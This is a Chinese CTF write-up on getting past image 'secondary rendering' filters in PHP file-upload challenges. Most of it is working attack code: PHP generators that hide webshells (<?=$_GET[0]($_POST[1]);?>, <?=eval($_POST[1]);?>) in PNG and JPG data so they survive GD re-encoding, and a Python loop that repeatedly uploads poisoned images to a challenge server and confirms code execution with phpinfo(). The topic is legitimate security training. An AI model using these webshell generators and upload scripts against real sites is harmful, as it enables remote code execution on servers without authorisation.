文件上传---二次渲染

发布于: 2024-08-01 07:01

PNG二次渲染

脚本直接梭哈

这里的脚本只能生成固定的图片,php内容是<?=$_GET[0]($_POST[1]);?>

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);


$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png');  //要修改的图片的路径

/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */
//imagepng($img,'1.png');  要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php
?>

010editor分析文件

png

这里是其他师傅改进的版本,可以写入自定义内容,字母只能是大写字母,否则报错,出现小写字母会报错的奇怪bug

<?php 
/* cX<?PHP 不可取消 但可以替换为c<?=
   ?>X<0x00><0x00> 不可删除。*/
$a='cX<?PHP FILE_PUT_CONTENTS();?>X'.urldecode('%00').urldecode('%00');

$payload_ascii='';
for($i=0;$i<strlen($a);$i++){
    $payload_ascii.=bin2hex($a[$i]);
}

$payload_hex=bin2hex(gzinflate(hex2bin($payload_ascii)));

// echo $payload_hex."\n";
preg_match_all('/[a-z0-9]{2}/', $payload_hex, $matches);

$blist=[];

foreach($matches[0] as $key => $value){
    $blist[$key]=base_convert($value, 16, 10);
}

function filter1($blist){
    for($i=0; $i<(count($blist)-3);$i++){
        $blist[$i+3] = ($blist[$i+3] + $blist[$i]) %256;
    }
    return array_values($blist);
}

function filter3($blist){
    for($i=0; $i<(count($blist)-3);$i++){
        $blist[$i+3] = ($blist[$i+3] + floor($blist[$i]/2) ) %256;
    }
    return array_values($blist);
}
$p=array_merge(filter1($blist), filter3($blist));
$img = imagecreatetruecolor(32, 32);

// echo sizeof($p);
for ($y = 0; $y < sizeof($p)-3; $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   // echo $color;
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');

png1

这里提一句,关于为什么png二次渲染可以利用脚本直接生成的我没找到原因,很遗憾。在测试狼组团队师傅所说的通过函数imagecreatefrompng报错绕过二次渲染,在本地使用var_dump测试这个函数处理生成图片时,函数正常运行没有报错。

<?php
$file = './1.png';
var_dump(imagecreatefrompng($file)); # resource(5) of type (gd)

【原文】

wolf

JPG二次渲染

推荐:

jpg二次渲染图片马不能靠脚本直接生成,你需要先上传原图,再ctrl+s把渲染后的图片再保存下来,现在你才可以使用下面脚本再次渲染

此处驻留甚久,顾谓后来者

把网站渲染过一次的图片保存下来,使用下面脚本再次渲染,拿到二次渲染图(成果图)

jpg二次渲染脚本

<?php
    /*
将有效载荷注入JPG图像的算法,该算法在PHP函数imagecopyresized()和imagecopyresampled()引起的变换后保持不变。
初始图像的大小和质量必须与处理后的图像的大小和质量相同。
1)通过安全文件上传脚本上传任意图像
2)保存处理后的图像并启动:
php 文件名.php <文件名.jpg >
如果注射成功,您将获得一个特制的图像,该图像应再次上传。
由于使用了最直接的注射方法,可能会出现以下问题:
1)在第二次处理之后,注入的数据可能变得部分损坏。
jpg _ payload.php脚本输出“有问题”。
如果发生这种情况,请尝试更改有效载荷(例如,在开头添加一些符号)或尝试另一个初始图像。
谢尔盖·博布罗夫@Black2Fan。
另请参见:
https://www . idontplaydarts . com/2012/06/encoding-we B- shell-in-png-idat-chunks/
*/

    $miniPayload = '<?=eval($_POST[1]);?>';


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>
# 生成二次渲染的jpg图片
# 此处文件名.php即是上面的生成脚本,文件名.jpg是从服务器下载的一次渲染图
php 文件名.php 文件名.jpg

gen

# 渲染后php木马内容
<?=eval($_POST[1]);?>

如果是自己准备的图片,上传后可能会失败

CTFshow群主推荐的二次渲染专用图

jpg

准备了一个脚本,在图片尾部添加随机垃圾字符串,废图利用,变成新图,爆破出可利用的二次渲染图

import requests
import random
import string

# 配置
image_path = 'payload_cola1.jpg'  # 图片路径
url = 'http://0092bb15-7d1d-4a6c-8f9d-c9ac4a6076fa.challenge.ctf.show/'
upload_url = url + 'upload.php'  # 上传接口 URL
get_url = url + 'download.php?image='  # 访问接口
output_path = 'success_image1.jpg'  # 保存路径

def generate_random_string(length):
    characters = string.ascii_letters + string.digits + string.punctuation
    return ''.join(random.choice(characters) for _ in range(length))

# 读取图片文件
with open(image_path, 'rb') as image_file:
    image_data = image_file.read()

while True:
    # 生成30到50位长度的随机字符串
    random_length = random.randint(30, 50)
    text_to_append = generate_random_string(random_length).encode('utf-8')  # 要追加的文本

    # 追加文本到图片数据
    modified_image_data = image_data + text_to_append
    # 在图片数据开头插入文本,报错
    # modified_image_data = text_to_append + image_data

    # 准备上传
    files = {'file': ('modified_image.jpg', modified_image_data, 'image/jpeg')}
    response = requests.post(upload_url, files=files)
    # 获取上传后的状态、文件名
    response_json = response.json()
    msg = response_json.get("msg")

    # 检查响应
    if response.status_code == 200:
        print('上传成功' + f"-----文件名 {msg}")

        # 测试图片接口
        img_url = get_url + str(msg)
        test_resp = requests.get(img_url)
        if test_resp.status_code == 200:
            print("图片测试成功")
            data = {"1":"phpinfo();"}
            eval_resp = requests.post(img_url,data=data)
            if "phpinfo" in eval_resp.text:
                print("木马已存活...")
                # 在成功检测到木马文件后保存修改后的文件
                with open(output_path, 'wb') as output_file:
                    output_file.write(modified_image_data)
                print(f'修改后的文件已保存到: {output_path}')
                break
            else:
                print("正在生成木马")
        else:
            print("图片上传失败,请检查图片")
    else:
        print(f'上传失败,状态码: {response.status_code}')
        print(f'响应内容: {response.text}')

res

放3组图,分别是原图,一次渲染图,以及成果图

原图

一次渲染图

成果图

再试一次... res

跑一下柴郡

原图

ori

一次渲染

one

成果图

two

res

注意:存在已知bug,图片接受脚本处理后可能损坏,因此会无效死循环

参考: